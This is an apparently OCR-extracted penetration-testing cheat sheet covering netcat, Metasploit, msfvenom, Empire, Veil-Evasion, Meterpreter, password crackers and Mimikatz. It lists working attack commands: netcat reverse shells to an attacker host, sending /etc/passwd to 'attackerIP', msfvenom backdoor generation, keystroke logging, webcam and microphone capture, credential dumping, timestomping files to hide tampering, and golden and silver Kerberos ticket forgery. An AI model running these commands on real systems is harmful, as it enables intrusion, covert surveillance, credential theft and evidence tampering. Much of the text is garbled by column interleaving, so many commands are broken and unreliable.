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General Reconn			
fping -g	Ping sweep		
x.x.x.0			
x.x.x.254 -a			
Linux traceroute Option	ons		
-4	Forces IPv4		
- 6	Forces IPv6, same as traceroute6 command		
-I	Uses ICMP echo		
-Т	Uses TCP SYN		
-f <fi -<="" rst="" td=""><td>Starts from the hop specified instead of 1</td></fi>	Starts from the hop specified instead of 1		
_tt l>			
-g <ga ay="" tew=""></ga>	Routes packets through the gateway specified instead of the default		
-m <ma -<="" td="" x_t=""><td>Specifies the maximum number of hops;</td></ma>	Specifies the maximum number of hops;		
tls>	default is 30		
-n	Specifies not to resolve IP address to hostnames		
-w <wa it=""></wa>	Specifies the wait time, which can be in		
	seconds or relative to the reply time between hops		
-p <po rt=""></po>	Specifies the port		

DNS Query (cont)	
ls -d [targe t domain] [> filename]	Store zone transfer output in a file
view [filename]	view file
dig	
dig @[name server] [domain name] [record type]	dig comand syntax
dig +nocom ments @192.1 -	test if allows anonymous
68.1.50 lab.local -t AXFR	zone transfers
set norecurse	no recursive query, RD=0

Netcat	
Flags	
-1	Listen mode (default is client)
-L	Listen harder (Windows only) — Make a persistent listener
-u	UDP mode (defaultis TCP)
-р	Local port (In listen mode, this is port listened connections on. In client mode, this is source port for packets sent.)
-е	Program to execute after connection occurs
<fi -<="" th=""><th></th></fi>	
len -	
ame>	
-n	Don't resolve names
-z	Zero—I/O mode: Don't send any data, just emit packets
-w[N]	Timeout for connects, waits for N seconds
-v	Be verbose, printing when a connectionis made

DNS Query

nslookup	
nslookup -norecurse -	DNS Snooping nonrecursive
type=A google.com DNS_SR -	query
VR_IP	
server [serve rIPaddr or	use specific server
name]	
set type=any	set DNS record type
ls -d [targe t_d omain]	Perform a zone transfer of all
	records for a given domain

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Notact (cont)		Notast (sont)			
Netcat (cont) nc -e	executes a command upon connection	. , .	o no -vv -z -w3 [targe - wort] > /dev/null && echo	Service- is-alive	
-VV	Be verbose, printing	-e " \x0 7"; sle	heartbeat		
	when connections are	while `nc -vv -z	while `nc -vv -z -w3 [targe t_IP]		
	made, dropped, and so on		/dev/null`;do echo " -	Is-Dead	
General		Service is ok"; Service is dead"	Notifi- cation		
nc -lvnp XX	c -lvnp XX Server listen, verbos-		,		
±	ity,noDNS,on port XX	alternative	222 < /tmp/w ina uth.pcap	Setup	
SHELLS			222 () cmp/ w ind den.peap	listener	
nc IP PORT -e /bin/bash	Client reverse shell			that will	
<pre>rm -f /tmp/f ; mkfifo /tmp/f ;</pre>	netcat -e alternative			send the	
cat /tmp/f /b in/sh -i	example			file	
2>&1 nc \$RHOST \$RPORT >/tmp/f	>&1 nc \$RHOST \$RPORT >/tmp/f		[YourL inu xIP addr] r\w ina uth.pcap	Client to capture	
On target:	On target:		i (w ina uch.peap	and save	
mknod backpipe p				the file	
nc1 -p [allow ed_ inb oun d_	port] 0 <b ackpipe="" td="" <=""><td></td><td></td><td></td>				
nc 127.0.0.1 22 1>b ackpipe		TCPDUMP Monitori	ng		
Attackers machine to connect:		General			
<pre>ssh login_ nam e@[tar get mac] ed inb oun d port]</pre>	hine] -p [allow -	tcpdump -nnv -i eth0	start capturing traffic		
A really good explanation for this is on 560	3 book P 152	-n	Use numbers instead of names for	r machines	
Send Files		-nn	Use numbers for machines and po		
nc -1 -p 8080 > filename	setup listener and output	-i	Sniff on a particular interface (-D		
	file	-1	aces)	lists interi-	
nc -w 3 attackerIP 8080 <	sends file to netcat	-v	Be verbose		
/etc/p asswd	listener with 3 secs	-w	Dump packets to a file (use —r to	read file	
	timeout		later)		
Scan ports	to at 4 m ant	-x	Print hex		
nc -v -n IP port	test 1 port	-X	Print hex and ASCII		
nc -v -w 2 -z IP_Address	port range	-A	Print ASCII		
echo " " nc -v -n -w1	a port scapper that	s [snaplen]	Sniff this many bytes from each fra	ame,	
ecno " " nc -v -n -wi [targetIP] [port- range]	a port scanner that harvests banners		instead of the defaul		
Other Uses					



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TCPDUMP Monitoring (cont)			Metasploit (cont)			
Protocol:			set lport 443			
ether, ip, ip6 , arg	ether, ip, ip6 , arp, rarp, tcp, udp: protocol type		exploit -j -z Run in ackground			
Туре:			PS Session with valid creds			
host [host]	Only give me packets to or	r from that	use auxili ary /ad min /sm b/p sex ec_ command			
	host		set smbuser user			
net [network]	Only packets for a given ne	etwork	set rhost victimIP			
port [portnum]	Only packets for that port		set smbpass P4\$\$			
portrange [start -	Only packets in that range	of ports	set command " ipc onfig or	any comman d"		
end]			run			
Direction:	Only size and markets from	41	Create backdoor - recognized by De	fender :(
src	Only give me packets from port	i that host or	msfvenom -p window s/s hel l/r eve rse_tcp LHOST=			
dst	Only give me packets to th	at host	[Attac kerIP] LPORT=8080 -f exe > /tmp/f ile.exe			
Use and / or to combine t	,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,		msfvenom -p window s/x 64/ met erp ret er_ rev -			
	-			ers e_https LHOST= Att ackerIP LPORT=443 -f exe -o pwned.exe		
	Wrap in parentheses to group elements together					
Hashcat			Others			
hashcat -m 1800 -a 0 -o crack Linux SHA512 found1.txt crack1.hash 500_pa - password with dict		x SHA512	sessions -l	get a list of sessions		
		bassword with dict	sessions -i [N]	interact (-i) with session number [N]		
ssw ord s.txt			press CTRL-Z	Background session		
hashcatforce -m			jobs	get background jobs		
<pre>lab3.h ashcat /path, t.txtshow</pre>	/ to/ Dic - Service Ti account pa		db import /path/ to/ fil -	Import scans from nmap		
t.txtShow			e/n map.xml	import scans nom ninap		
PowerSploit/PowerView			hosts -m " Windows 10"	Add comment to host		
Invoke - Requests service tickets for kerberoast-able			192.16 8.1.10			
Ke rbe - accounts and returns extracted ticket hashes			services -u -p 135,445	Show UP hosts with Lports 135,445		
			sessions -h	list help for sessions		

Metasploit

Create Handler listener

use exploi t/m ult i/h andler set payload window s/x 64/ met erp ret er/ rev ers e https OR window s/m ete rpr ete r/r eve rse_tcp

set lhost AttackerIP

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sessions -K

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command

kill a session

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Empire		Empire (cont)		
set up an Empire HTTP listener		set StagingKey	,	configure a custom staging key for
usestager window s/l aun che r_bat		[Some_Secret_Value]		encrypting communications
set Listener http		set DefaultDela	ny 1	time between callbacks from our agent
execute		execute		launch listener
General		list		check out our listene
list agents		deploy an agen	it	
interact AGENTID	chose an agent	usestager		create and deploy an agent [space][TAB- TAB] To see available stagers
download C:\Use rs - \ali ce \Des kto p\s - ome.txt	transfer file from agentPC	usestager 1aur er_bat	ıch-	select stager
Timestomping		info		get info for actual stager
upload /tmp	upload content from /tmp to actual session directory	MSFDB - Meta		
usemodule manage men - t/t ime stomp	load timestomp module	db_connect [conne -	Conne	cts to a database
set ALL 03/02/2020 5:28 pm	define time to be set in all datetime file properties	ct string]		
set FilePath bank_l ogi - n_i nfo rma tio n.txt	set target file to be tampered	db_dis - connect	Discon	nects from database
execute	run module	db_driver	Selects	s the database type
Others		db_status	Display	vs the status of the database
/opt/E mpi re- mas - ter /do wnl oads/	Empire Download's location	db_export	(with he	s database contents into a file, either xml osts,ports, vulnerabilities, and more) or
sell powershell Get-Ch -	Run powershell command	1		p (with pilfered credentials)
ildItem		hosts		of hosts disvcovered
General	Cat command automations	vulns		of vulns that were found in scanned hosts
	Get command suggestions	services		of services running in gained hosts
searchmodule privesc	search for modules	hosts	manua	lly add hosts
configure a listener	netting a list of any listen and	add [host]		
listeners options	getting a list of our listeners options we have for our listeners			



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MSFDB - Metasploit Database (cont)
servicesadd -p [port] -r [proto] -s [name] [hostl ,ho - st2 ,]	manually add services running in hosts
<pre>notesadd -t [type] -n '[note _text]' [hostl ,ho st2 ,]</pre>	manually add notes to a host
If you delete a host, any services host_id will also disappear	s and vulns corresponding to that
db_nmapsT 10.10.1 - 0.10pack et- trace	invoke Nmap directly from the msfconsole
db_import [filename]	import data automatically recognizes the file type like Nmap xml, Amap, Nexpose, Qualys, Nessus
hosts -S linux	searching for any hosts associated with linux, -S works for other items (vulns) as well
hosts -S linux -R	set result as RHOTS variable value
vulns -p 445	Look for vulnerabilities based on port number

Veil-Evasion (cont)	
clean	Clean out any leftover cruft from previous use of Veil-Evasion,
Generate payload	
use info	select the payload you want to generate
powers hel -	
l/m ete rpr -	
ete r/r ev	
https	
options	list options for actual item
generate	create the payload file
Generated files	
.bat	This is the payload itself
.rc	This is the Metasploit configuration file (also known as a handler file) for a multi/handler waiting for a connection from our payload.
exit	exit Veil-Evasion
/usr/s har -	Veil-Evasion output directory
e/v eil -ou -	
tpu t/s ource	

Veil-Evasion

Start Veil-Evasion

cd	/opt/V	eil	-Ev	asion		/usr/s	har	e/veil
----	--------	-----	-----	-------	--	--------	-----	--------

./Veil -Ev asion .py

General	
list	get a list of all the different payloads that the tool can generate
info powers hel l/m -	et more information about any of the
ete r pr ete r/r ev	payloads
https	

traceroute	
Options	
-f [N]	Set the initial TI'L for the first packet
-g [hostlist]	Specify a loose source route (8 maximum hops)
-I	Use ICMP Echo Request instead of UDP
-T	Use TCP SYN instead of UDP (very useful!),with default dest port 80
-m [N]	Set the maximum number of hops
-n	Print numbers instead of names
-p [port]	port
	For UDP, set the base destination UDP port and increment

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traceroute (cont)

For TCP, set the fixed TCP destination port to use, defaulting to port 80 (no incrementing)

- -w Wait for N seconds before giving up and writing * (default is [N] 5)
- Force use of IPv4 (by default, chooses 4 or 6 based on dest addr)
- -6 Force use of IPv6

John the Ripper

General	
john.pot file	cracked password store
john.rec file	stores john's current status
johnrestore	picks up Where it left off based on the contents of the john.rec file
johntest	Check Speed Of SyStem
john hash.txt	run john against hash.txt file
johnshow [passw ord - _file]	compare which passwords John has already cracked froma given password file against itsjohn.pot file
Cracking LANMAN	Hashes

Cracking LANMAN Hashes

john /tmp/s -	By default, John will focus on the LANMAN
am.txt	hashes.

Cracking Linux Passwords

cp /etc/p -	copy passwd file to your working directory
asswd	
/tmp/p ass -	
wd_copy	
cp /etc/s -	copy shadow file to your working directory
hadow	
/tmp/s had -	
оw_сору	

By F
chea

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John the Ripper (cont)	
./unshadow	Use the unshadow script to combine
passwd _copy	account info from /etc/passwdwith
shadow _copy >	password information from /etc/shadow
combin ed.txt	
john combined. txt	Run John against the combined file
cat ~/.john/john.pot	Look at the Results in john.pot file

pw-insp	ector (Password Inspector)
-i	input file
-0	output file
-m [n]	the minimum number of characters to use for a password is n
-M [N]	Remove all words longer than N characters
-c [count]	how many password criteria a given word must meet to be included in the list.
-1	The password must contain at least one lowercase character.
-u	The Password must contain at least one uppercase character. (To specify a mixed case requirement, configure —c 2 -l —u.)
-n	The password must contain at least one number
-р	he password must contain at least one printable character that is neither alphabetic nor numeric, whichincludes !@#\$%"&*().
-S	The password must include characters not included in the other lists (such as nonprintable ASCII characters)

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Meterpreter		Meterpreter (cont)	
Basic commands			*Target process must have the same or lesser
? / help	Display a help menu		privileges
exit / quit	Quit the Meterpreter		*May be a more stable process
sysinfo	Show name, OS type		*When inside the process, can access any
shutdown / reboot	Self—explanatory	Natural Commonda	files that it has a lock on
reg	read or write to the Registry	Network Commands	
File System Commands		ipconfig	show network config
cd	Navigate directory structure	route	Displays routing table, adds/deletes routes
lcd	Change local directories on attacker machine	portfwd add -1 1111 -p 22 -r Target2	SANS 560.3 Exploitation Page 67 for better understanding
pwd / getwd	Show the current working directory	5	ommanda
ls	List the directory contents, even 4 Windows	On-target Machine of screenshot -p	SC
cat	Display a file's contents	[file.jpg]	
download / upload	Move a file to or from the machine	idletime	Show how long the user at the console has been idle
mkdir / rmdir	Make or remove directories	uictl [enabl -	Turn on or off user input devices
edit	Edit a file using default editor	e/d isable]	
Process Commands	560.3 Page 92	[keybo -	
getpid	Returns the process ID that Meterpreter	ard /mouse]	
	is running in	Webcam and Mic Commands	
getuid	Returns the user ID that the Meterpreter	webcamlist	Lists installed webcams
ps ps -S notepa d.exe	is running with Process list	webcam _snap	Snaps a single frame from the webcam as a JPEG: -Can specify JPEG image quality from 1 to 100, with a default of 50
kill	Terminate a process	record_mic	Records audio for N seconds (d N) and
execute -f cmd.exe -c -H	Runs a given program channelized (-c) and hide proccess window (-H)		stores in a wav filein the Metasploit .msf4 directory by default
migrate [desti -	Jumps to a given destination process ID:	Make sure you get written permission before activating either featur Keystroke Logger	
nat ion pr oce -			
ss_ID]			



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Meterpreter (cont)		Meterpreter (cont)
keysca n_start	poll every 30 milliseconds for keystrokes entered into the system	run schtas ksa [co mma nd1][
keysca n_dump	flushes 1 Megabyte of buffer keystrokes captured to attacker's Meterpreter Screen	d2]" -t [t
keysca n_stop	tells the Meterpreter to stop gathering all keystrokes	load kiwi
Pivoting Using Metasploit	's Route Command	
use [exploit1]		
set RHOST [victim1]		creds_all
set PAYLOAD window	s/m ete rpr ete r/r eve rse_tcp	GPG
exploit		qpq −d −o <0u
CTRL-Z	background session will display meterp- reter sid	pte dFi leN am
route add [victi -	direct any of its packets for a given target	OVER-PASS-THE
m2_ subnet]	machine or subnet through that Meterp- reter session	1. Peform the AS-F
[netmask] [Sid]	reter session	get an TGT
use [exploit2]		2. Perform TGS-R
set RHOST [victim2]		3. Use TGS to imp
set PAYLOAD [payloa	dZ]	Golden Ticket ATT
exploit		
Do not confuse the Metas	ploit (msf) route command with the Meterp-	Requirements
	e latter is used to manage the routing tables	• KDC LT key
0	een compromised using the Meterpreter ommand is used to direct all traffic for a	• Domain admin
1 5	the attacker's Metasploit machine through a	• Domain name
	n on a compromised victim machine to	• SID of domai

load additional modules

Meterpreter (cont)	
run schtas ksabuse -c " -	script that automates Win-sc-
[co mma ndl][, com man -	htasks task creation
d2]" -t [targetIP]	
	Uses Meterpreter's process credentials (add -u and -p for other credentials)
load kiwi	oad the mimikatz Kiwi Meterp- reter extension on the target machine
creds_all	grab credentials
GPG	
gpg -d -o <ou len<="" td="" tfi="" tpu=""><td>ame> <en -="" a<="" cry="" decrypt="" td=""></en></td></ou>	ame> <en -="" a<="" cry="" decrypt="" td=""></en>
<pre>gpg -d -o <ou ame="" dfi="" len="" pte="" tfi="" tpu=""></ou></pre>	ame> <en -="" a<br="" cry="" decrypt="">file</en>
51.5	
51.5	
pte dFi leN ame>	file
pte dFi leN ame> OVER-PASS-THE-HASH 1. Peform the AS-REQ (encrypting	file timestamp with passw hash) to
pte dFi leN ame> OVER-PASS-THE-HASH 1. Peform the AS-REQ (encrypting get an TGT	file timestamp with passw hash) to et TGS
pte dFi leN ame> OVER-PASS-THE-HASH 1. Peform the AS-REQ (encrypting get an TGT 2. Perform TGS-REQ to KDC to get	file timestamp with passw hash) to et TGS
pte dFi leN ame> OVER-PASS-THE-HASH 1. Peform the AS-REQ (encrypting get an TGT 2. Perform TGS-REQ to KDC to get	file timestamp with passw hash) to et TGS
pte dFi leN ame> OVER-PASS-THE-HASH 1. Peform the AS-REQ (encrypting get an TGT 2. Perform TGS-REQ to KDC to get 3. Use TGS to impersonate passw	file timestamp with passw hash) to et TGS
pte dFi leN ame> OVER-PASS-THE-HASH 1. Peform the AS-REQ (encrypting get an TGT 2. Perform TGS-REQ to KDC to get 3. Use TGS to impersonate passw Golden Ticket ATTACK	file timestamp with passw hash) to et TGS
pte dFi leN ame> OVER-PASS-THE-HASH 1. Peform the AS-REQ (encrypting get an TGT 2. Perform TGS-REQ to KDC to get 3. Use TGS to impersonate passw Golden Ticket ATTACK Requirements	file timestamp with passw hash) to et TGS hash owner and use a service (e.g. KRBTGT NTLM hash)

• SID of domain admin account

Commands

.\mimikatz kerber os: :golden /admin :AD MIN ACC -OUN TNAME /domai n:D OMA INFQDN /id:AC COU NTRID /sid:D OMA INSID /krbtg t:K RBT GTP ASS WOR DHASH

.\mimikatz kerber os::ptt file.txt	create a golden ticket from file with PTT
kerber os::tgt	Get current session ticket details
kerber os: :list /export	Export ticket to a .kirbi file
kerber os::ptt file.kirbi	Load / pass the ticket

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another potential Victim.

use [modul ename]

Additional Modules

Others

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Silver Ticket ATTACK		Silver Tick	et ATTACK (
Requirements		misc::cn	nd ; klist
• /target	target server's FQDN.	connect to that example: Find-I	
• /service	SPN		Ser ver 1.0
• /rc4	NTLM hash for	ares\	
	the service	Trolling	
	(computer	Faking RI	Ds
	account or user	1106 is "Anakin"	
Steps	account)	1159 is "V	ader"
whoami	get domain/SID		
invoke -Ke rbe roa st.psl	get domain/SID get SPN and Service user pass hash for cracking	Result: User: Anakin /group s:5 12, 51 /id:9999 /user:yourmom	
Mimikatz "privi leg e:: debug"	get Service	/user.yc	
"sekur lsa ::l ogo npa ssw ords"	password hash	Mimikatz	
exit	w/Mimikatz (if you have access to	Command Reference for	
		/domain	domain's fo
	server hosting Vuln service)	/sid	SID of the I
nashcat " " \$kr b5t gs\$ 6\$a cct - \$sv c/H OST :po rt\$ XXX X…X XX""	Get unencrypted service password	/user /admin	username
dicti.txt hashcat -m 13100 hash.txt dicti.txt	w/hashcat (If we didn't get NTLM hash) and hash it	/groups (optional)	group RIDs primary gro well-known
Import -Module DSInte rnals \$pwd = Conver To- Sec ure String	to NTLM Hash cleartext password to	/ticket (optional)	provide a p file to for la golden ticke
'P@\$\$w0rd' -AsPla inText -Force Conver tTo -NTHash \$pwd	NTLM	/ptt	as an alterr the forged f
mimikatz "kerbe ros ::g olden /admin :Im Admin /id:1106 /domai - n:l ab.a ds ecu rit y.org /sid:S - 1- 5-2 1-XXXXX /targe t:E XCH ANG - E.l ab.l ocal /rc4:N TLMHash /servi ce: Ser viceSPN /ptt" exit	Forge TGS to auth target SVC		

Auth to ; use a command to local SVC specific service for w/creds and te res tin gFile -Path TGS | ej: d oma in.c om \S\$ \sh mimikatz /id:1159 /user:-Anakin Real Context User: Vader .3 ,51 8,519 lulz or tickets attacks qdn Domain to impersonate

cont)

/groups (optional)	group RIDs the user is a member of (the first is the primary group) default: 513,512,520,518,519 for the well-known Administrator's groups
/ticket (optional)	provide a path and name for saving the Golden Ticket file to for later use or use /ptt to immediately inject the golden ticket into memory for use.
/ptt	as an alternate to /ticket – use this to immediately inject the forged ticket into memory for use.

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Mimikatz (cont)		
/id	user RID. Mimikatz default is 500 (the default Admin	
(optional)	account RID).	
/start -	the start offset when the ticket is available (generally	
offset	set to –10 or 0 if this option is used). Mimikatz Default	
(optional)	value is 0.	
/endin	ticket lifetime. Mimikatz Default value is 10 years	
(optional)	(~5,262,480 minutes). Active Directory default	
	Kerberos policy setting is 10 hours (600 minutes).	
/renewmax	maximum ticket lifetime with renewal. Mimikatz	
(optional)	Default value is 10 years (~5,262,480 minutes). Active	
	Directory default Kerberos policy setting is 7 days	
	(10,080 minutes).	

Metadata Analysis

./exiftool	t/imag es/ Exi -		
fTo ol.jpg	>/r oot /ex if.out		
strings —n 8 file.txt			

execute exiftool against the ExifTool.jpg shows strings only eight characters long

Recon-ng comands for whois_pocs		
recon-ng		
market place install all ; exit		
workspaces create demo		
modules load recon/ dom ain s-c ont act s/w hoi -		
s_pocs		
options set SOURCE exampl e.com		
run		
show contacts		

scapy (as root) starts library help(f unc tion) Get help for specific function p = IP() / T CP() / "F oo"define blank packet show packet info show packet info p.show() show packet info summary view just the data ls(p[Raw]) p[IP].s rc ="ip add set src address p[IP].d st ="ip add set dst address p[TCP].sp ort ="xx " set src port

set dst port

packet structure

Cron list job entries crontab -1 edit job entries crontab -e

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p=IP/T CP/DATA

p[TCP].dp ort ="xx "

Scapy (Packet crafting)

ls(p)

res "

res "

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